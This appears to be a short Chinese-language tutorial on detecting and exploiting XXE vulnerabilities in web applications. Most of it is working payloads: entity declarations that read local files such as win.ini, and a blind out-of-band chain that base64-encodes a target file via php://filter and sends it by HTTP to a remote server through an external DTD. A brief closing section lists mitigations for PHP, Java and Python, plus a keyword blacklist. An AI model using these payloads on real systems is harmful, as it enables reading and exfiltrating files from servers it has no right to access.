寻找与利用xxe漏洞
如何找xxe漏洞:
- 抓包看accept头是否接受xml 如果是,使用payload验证是否可以攻击
- 抓包看accept头是否接受json 如果是,把json改成xml,后用payload测试
一般 xxe 利用分为两大场景:有回显和无回显。
有回显的情况可以直接在页面中看到Payload 的执行结果或现象,
无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
有回显xxe
# 使用通用实体读取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
# 使用参数实体读取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "***.com >
%xxe;
]>
<foo>&evil;</foo>
##外部 evils.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
无回显xxe
可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "***.com
%remote;%int;%send;
]>
##外部 test.dtd 中的内容。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int " <!ENTITY % send SYSTEM '***.com '>">
整个调用过程
1. 连续调用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,
2. 先调用%remote ,调用后请求远程服务器上的 test.dtd(类似于将 test.dtd 包含进来)
3. 再调用%int,int会调用test.dtd中的%file,会去获取服务器上面的敏感文件,并将结果进行base64编码
4. 后调用%send将结果,以url参数的形式发送结果到指定服务器,(实体的值中不能有%, 所以将其转成 html实体编码%)
编码可参考:***.com
最后,怎么查看最终数据 1. 有报错直接查看报错信息 2. 无报错需要访问接受数据的服务器中的日志信息 可以看到经过 base64 编码过的数据,解码后便可以得到数据。编码是为了不破坏原本的 XML 语法,不编码会报错
XE漏洞修复与防御:
方案一:升级PHP版本 方案二:修改代码
#PHP:
libxml_disable_entity_loader(true);
#JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("***.com
setFeature("***.com
setFeature("***.com
#Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案三:黑名单过滤关键词(不推荐)
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC